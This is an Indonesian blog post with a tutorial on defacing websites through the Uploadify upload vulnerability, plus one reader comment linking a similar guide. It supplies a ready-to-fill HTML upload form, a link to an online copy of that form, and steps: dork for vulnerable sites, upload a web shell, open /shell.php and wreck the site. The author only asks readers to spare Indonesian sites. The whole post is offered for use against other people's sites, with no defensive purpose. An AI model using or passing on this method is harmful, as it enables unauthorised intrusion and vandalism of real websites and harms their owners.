Cara Deface Dengan Uploadify
Hallo guys Kali ini gua mau share tutorial cara deface dengan uploadify vulnerability upload shell
Bahan-Bahan :
PC/Laptop
Koneksi Internet
CSRF
Dork
Shell (kalo blm punya cari di google)
Tutorial Deface Teknik Uploadify Vulnerability Upload Shell
CSRF :
<form method="post" action="urltarget">
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="Filedata" ><br>
<input type="submit" name="submit" value="Tusbol">
</form>
Atau CSRF online di http://mouncyler-community.hol.es/expl/ lalu kalian pilih Filedata
Tutorial :
1. Copy CSRF di atas lalu save dengan format .html
2. Dorking
3. Cari target, lalu cek apakah ada uploadify.php ?? (web yg vuln cirinya laman yg kosong/blank)
4. Edit CSRF yg tadi dah di save, masukan url target ke bagian action="urltarget" lalu save lg (format tetap html)
5. Buka file CSRF tadi, pilih file yang mau kalian uoload (terserah mau shell/script)
6. Jika Vuln hasilnya akan ada nama/url file kalian. Contoh /shell.php
7. Nah untuk akses shell nya, silahkan kalian copy nama/url file kalian lalu taruh di belakang alamat web target. Contoh : www.site-target.co.li/shell.php
8. Silahkan kalian acak2 website nya, tapi jika web Indonesia mohon jangan di rusak, jika ingin tebas index, backup dlu index nya
1 comments so far
mantap gan terimkasih tutorialnya baca juga dong gan ane juga memposting cara deface dengan metode uploadify = https://blogpongo.com/cara-deface-metode-uploadify-upload-shell/
EmoticonEmoticon